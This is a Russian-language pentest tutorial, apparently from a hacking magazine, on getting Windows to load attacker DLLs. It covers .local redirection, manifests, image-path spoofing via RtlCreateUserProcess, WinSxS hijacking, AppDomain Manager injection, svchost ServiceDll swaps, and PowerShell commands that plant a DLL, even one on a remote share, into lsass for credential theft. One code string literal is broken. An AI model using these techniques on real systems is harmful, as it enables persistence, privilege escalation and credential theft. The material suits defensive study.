Редирект со спуфингом. Ищем в Windows лазейки для исполнения стороннего кода
Внутри Windows кроется огромное количество интересных и неочевидных возможностей. В этой статье я покажу, как заставить операционку загрузить нашу библиотеку в любой процесс!
Одна из самых популярных атак, направленных на повышение привилегий, — это DLL Hijacking. Чтобы ее провести, атакующий помещает свою вредоносную библиотеку на пути поиска легитимной DLL. Это приводит к тому, что целевое приложение подгружает стороннюю либу и выполняет вредоносный код.
На первый взгляд такая атака кажется очень простой. Я бы даже сказал примитивной. Тем не менее, существует несколько подводных камней, которые часто упускают из вида атакующие.
Во‑первых, многие забывают сделать DLL Proxying до целевой библиотеки, что приводит к поломке всего приложения. Оно крашится, так как пытается вызвать функцию из библиотеки, в которой нужного кода нет.
Во‑вторых, иногда вызов функций вроде LoadLibrary()
, CreateProcess()
и CreateThread()
помещают в функцию DllMain()
, что приводит к дедлоку (Dead Lock) из‑за механизма Loader Lock. Loader Lock выступает в качестве критической секции (примитив синхронизации потоков процесса). Фактически выполнение потока программы блокируется до момента снятия Loader Lock.
В‑третьих, существуют некоторые факторы, влияющие на порядок поиска DLL. Стандартные пути поиска изображены ниже.
Это так называемый SafeDllSearchOrder
. Если он отключен, то после Application Directory
функция LoadLibrary*()
смотрит Current Directory
. Отключить SafeDllSearchMode
можно, выставив в ноль значение по этому пути:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
Еще один фактор, влияющий на поиск — это функция LoadLibraryEx()
, вызванная со значением LOAD_WITH_ALTERED_SEARCH_PATH
. В таком случае первым делом DLL ищутся по пути, указанному внутри этой функции.
Помимо прочего существуют встроенные механизмы Windows, которые позволяют внедрить нашу библиотеку в целевой процесс. В документации Microsoft есть упоминание некоторых из них. Давай изучим их подробнее.
DLL REDIRECTION
Для обычных исполняемых файлов
DLL Redirection — специальный механизм, позволяющий программам использовать разные версии DLL для своих задач, причем не затрагивая обычные системные библиотеки. Действие распространяется только на функции LoadLibrary*()
.
Фактически, независимо от того, указан ли в ней полный путь (C:\Windows\System32\dll.dll
) или короткий (dll.dll
), функция проверит, присутствует ли в текущей директории (в которой находится приложение, которое вызвало эту функцию) файл с расширением .local. И если присутствует, то функция LoadLibrary*()
в любом случае загрузит в первую очередь DLL из текущей директории приложения.
Название файла .local должно быть таким же, как и название процесса, из которого вызвана функция LoadLibrary()
. Например, если приложение — Editor.exe
, то имя файла должно быть Editor.exe.local
.
Представим, что этот самый C:\myapp\Editor.exe
попытается через LoadLibrary*()
загрузить какую‑нибудь либу. Например, такую:
C:\Program Files\Common Files\System\mydll.dll
Тогда LoadLibrary*()
проверит существование файла Editor.exe.local
в директории, где лежит Editor.exe
. Если файл .local найдется, то функция попытается сначала загрузить mydll.dll
из текущей директории.
То есть сначала проверяется этот путь:
И если такого файла нет, то загрузится по указанному полному пути:
C:\Program Files\Common Files\System\mydll.dll
Самое интересное: мы можем создать не только файл Editor.exe.local
, но и папку с таким названием, потому что содержимое файла .local не проверяется. В таком случае DLL будет подгружена по следующему пути:
C:\myapp\myapp.exe.local\mydll.dll
Итак, приступим к написанию PoC. Во‑первых, нам нужно целевое приложение, которое будет подгружать библиотеку с указанием полного пути.
Назовем это приложение Article.exe
.
#include <Windows.h>
#include <iostream>
int main() { LoadLibraryW(L"C:\\Users\\Michael\\Desktop\\Redir.dll");
char a; std::cin >> a;
return 0;}
В качестве легитимной библиотеки скомпилируем следующий код и назовем Redir.dll
.
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"HI FROM LEGIT", L"HI FROM LEGIT", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break; }
return TRUE;}
После компиляции перенесем в папку C:\Users\Michael\Desktop
библиотеку Redir.dll
. Проверим, что она успешно запускается и выполняется.
Теперь изменим код Redir.dll
на следующий.
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"HI FROM FAKE", L"HI FROM FAKE", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break; }
return TRUE;}
Скомпилируем его и создадим в папке с Article.exe
файл Article.exe.local
.
Теперь запустим исполняемый файл и убедимся, что библиотека действительно загружается из текущей директории приложения, а не по полному пути.
Если удалить файл .local, то вновь будет загружаться нужная библиотека.
Сборки .NET
Для сборок .NET все чуточку проще. Нам нужно создать файл .manifest
, либо отредактировать существующий, добавив в него зависимость от конкретной библиотеки. Вот пример конфигурационного файла.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentityversion="6.0.0.0"processorArchitecture="x86"name="redirector"type="win32"/>
<description>
DLL Redirection
</description>
<dependency>
<dependentAssembly><assemblyIdentitytype="win32"name="Microsoft.Windows.Common-Controls"version="6.0.0.0"processorArchitecture="X86"publicKeyToken="6595b64144ccf1df"language="*"/>
</dependentAssembly>
</dependency>
<file name="user32.dll" />
</assembly>
В данном случае мы с помощью атрибута name
указываем, что целевая сборка зависит от user32.dll
. После чего файл нужно сохранить с названием program.exe.manifest
, где program.exe
— имя приложения, в которое должна подгрузиться библиотека.
Это приведет к тому, что user32.dll
будет подгружаться из той директории, откуда запускается приложение.
IMAGE PATH NAME SPOOFING
Теория
Атака заключается в том, что мы можем использовать функции Rtl*
и обмануть приложение, заставив его думать, что оно запускается из другой директории. Образно, приложение лежит в C:\Windows\System32\abc.exe
, а мы скажем, что в C:\Users\abc.exe
. Как следствие, abc.exe
будет грузить библиотеки из C:\Users
.
Все основано на функциях RtlCreateProcessParametersEx()
и RtlCreateUserProcess()
. Windows (а также платформа CLR) будет искать библиотеки (либо сборки .NET, в случае CLR) по пути, указанном в элементе ImagePathName
структуры RTL_USER_PROCESS_PARAMETERS
. Эту структуру генерирует функция RtlCreateProcessParametersEx()
. Запущенный процесс в свою очередь будет парсить эту структуру и извлечет из нее ImagePathName
. И, как следствие, раскроет текущую директорию, которая в действительности спуфнута.
Реализация
Функция RtlCreateProcessParametersEx()
выглядит вот так.
typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)( _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, _In_ PUNICODE_STRING ImagePathName, _In_opt_ PUNICODE_STRING DllPath, _In_opt_ PUNICODE_STRING CurrentDirectory, _In_opt_ PUNICODE_STRING CommandLine, _In_opt_ PVOID Environment, _In_opt_ PUNICODE_STRING WindowTitle, _In_opt_ PUNICODE_STRING DesktopInfo, _In_opt_ PUNICODE_STRING ShellInfo, _In_opt_ PUNICODE_STRING RuntimeData, _In_ ULONG Flags);
Собственно, эта функция заполняет структуру RTL_USER_PROCESS_PARAMETERS
.
typedef struct _RTL_USER_PROCESS_PARAMETERS{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
// Вот это будем спуфать
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
ULONG EnvironmentSize;
ULONG EnvironmentVersion;
PVOID PackageDependencyData;
ULONG ProcessGroupId;}
RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
Именно эта структура будет передаваться в функцию RtlCreateUserProcess()
.
typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)( _In_ PUNICODE_STRING NtImagePathName, _In_ ULONG AttributesDeprecated, _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, _In_opt_ HANDLE ParentProcess, _In_ BOOLEAN InheritHandles, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE TokenHandle, _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation);
Эта атака не сработает, если приложение подгружает целевую библиотеку с указанием полного пути. Я пытался совместить эту атаку с DLL Redirection с созданием файла .local, но безуспешно.
Вернемся к нашему эксперименту. Чуть‑чуть поправим файл Article.exe
, чтобы он загружал библиотеку без указания полного пути.
#include <Windows.h>#include <iostream>int main() { LoadLibraryW(L"Redir.dll"); char a; std::cin >> a; return 0;}
В соответствии с порядком поиска DLL Windows в первую очередь будет пытаться найти Redir.dll
в текущей директории приложения. Здесь‑то мы его и поймаем!
Убедимся в работоспособности приложения.
Теперь удаляем Article.exe
из папки с фейковой DLL и начинаем писать загрузчик. Назовем его PathSpoof.exe
.
Я не смог найти ссылку на gists, но этот код я когда‑то стащил у уважаемого snovvcrash. Предлагаю только несколько поправить исходник, изменив с учетом наших целей.
UNICODE_STRING spoofedImagePathName;
spoofedImagePathName.pBuffer = (PWSTR)L"\\??\\A:\\SSD\\ProjectsVS\\Article\\x64\\Debug\\Article.exe";
//Где реально должно запуститься приложение
for (spoofedImagePathName.Length = 0; spoofedImagePathName.pBuffer[spoofedImagePathName.Length]; spoofedImagePathName.Length++);spoofedImagePathName.Length = spoofedImagePathName.Length * sizeof(WCHAR);spoofedImagePathName.MaximumLength = spoofedImagePathName.Length + sizeof(UNICODE_NULL);
UNICODE_STRING currentDirectory;
currentDirectory.pBuffer = (PWSTR)L"C:\\Windows\\System32\";
for (currentDirectory.Length = 0; currentDirectory.pBuffer[currentDirectory.Length]; currentDirectory.Length++);
currentDirectory.Length = currentDirectory.Length * sizeof(WCHAR);
currentDirectory.MaximumLength = currentDirectory.Length + sizeof(UNICODE_NULL);
UNICODE_STRING commandLine;
commandLine.pBuffer = (PWSTR)L"C:\\Windows\\System32\";
for (commandLine.Length = 0;
commandLine.pBuffer[commandLine.Length];
commandLine.Length++);
commandLine.Length = commandLine.Length * sizeof(WCHAR);
commandLine.MaximumLength = commandLine.Length + sizeof(UNICODE_NULL);
UNICODE_STRING imagePathName;
imagePathName.pBuffer = (PWSTR)L"\\??\\C:\\Users\\Michael\\Desktop\\Article.exe";
// Путь к приложению, которое должно быть спуфнуто
for (imagePathName.Length = 0;
imagePathName.pBuffer[imagePathName.Length];
imagePathName.Length++);
imagePathName.Length = imagePathName.Length * sizeof(WCHAR);
imagePathName.MaximumLength = imagePathName.Length + sizeof(UNICODE_NULL);
Запускаем PathSpoof.exe
и видим успешную подгрузку библиотеки.
WINSXS
Механизм WinSxS (Windows Side By Side) служит для хранения разных версий важных системных файлов. После обновления Windows в папку C:\Windows\WinSxS
падают прошлые версии всяких программных компонентов. Это позволяет в случае сбоя откатиться назад и вернуть систему к жизни.
Исследователи из SecurityJoes обнаружили, что в папку WinSxS попадают ехе‑приложения, уязвимые к атаке DLL Hijacking. Дело в том, что порядок поиска библиотек у этих приложений следующий:
И именно на пятом шаге исследователи ловили приложения из WinSxS, пытающиеся подгрузить библиотеку из их текущей директории. Алгоритм обнаружения донельзя прост:
Если приложение уязвимо, то оно порыскает в папках из 1-4 шагов, а потом придет в C:\Users\<currentuser>\Desktop
, чтобы найти целевую библиотеку. Здесь‑то с помощью Process Monitor его и поймают!
В ходе ресерча нашлось множество уязвимых приложений.
Ты можешь и сам искать подобные дырки, используя тот же Process Monitor или DLLHSC.
К слову, в ходе одного из проектов по пентесту мне удалось подобным образом проэксплуатировать WinSxS, но там сработало несколько условий:
- целевое приложение было сборкой .NET;
- нужно было реализовать MITRE T1574 Hijack Execution Flow.
Поэтому я прибегнул к тактике с AppDomain Manager Injection.
Предположим, что целевое приложение называлось NetConfigLdr.exe
(название изменено, в моем случае был кастомный софт клиента), поэтому я создал файл NetConfigLdr.exe.config
, указав следующее содержимое.
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="C:\Windows\WinSxS"/>
</assemblyBinding>
<appDomainManagerAssembly value="AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
</runtime>
</configuration>
Этот файл лежал рядом с NetConfigLdr.exe
, равно как и библиотека AppDomInject.dll
. Это позволило реализовать MITRE и проэксплуатировать файл из WinSxS.
Кстати, если ты еще не забыл про Image Path Name Spoofing, то AppDomain Injection получится совмещать с таким спуфингом. Это подробно описано в исследовании у Sektor7.
SVCHOST.EXE
Отдельно я хочу упомянуть инжект в svchost.exe
(то есть внедрение в любую службу). Сам по себе svchost.exe
— один из множества служебных процессов. Он может подгружать DLL-файл службы, взяв путь из записи реестра со значением ServiceDll
.
Например, для службы TermSrv
есть файл termsrv.dll
, он находится в %SystemRoot%\System32\
. Этот путь прописан внутри значения ServiceDll
вот здесь:
HKLM\System\CurrentControlSet\services\TermService\Parameters\
Так мы можем подменить саму DLL или значение в реестре, что приведет к подгрузке сторонней библиотеки при перезапуске службы.
LSASS DRIVER
Существует недокументированное значение реестра, в которое можно засунуть библиотеку, и она будет загружена в процесс lsass.exe
.
# powershellNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "c:\windows\system32\1.dll"# очисткаRemove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null# Можно даже указать удаленную либуNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "\\share\lulz\lsass_lib.dll"
Причем есть даже PoC, позволяющий хукнуть функцию SpAcceptCredentials()
и извлекать учетные данные пользователей.
ВЫВОДЫ
У Windows есть необычные возможности, которым иногда пользуются и атакующие. Конечно, порой проще нагло влезть в адресное пространство процесса, записать туда байты DLL-библиотеки и дернуть CreateRemoteThread()
, но это далеко не панацея. В конце концов, знаешь больше способов — крепче спишь (и быстрее закрываешь проекты)!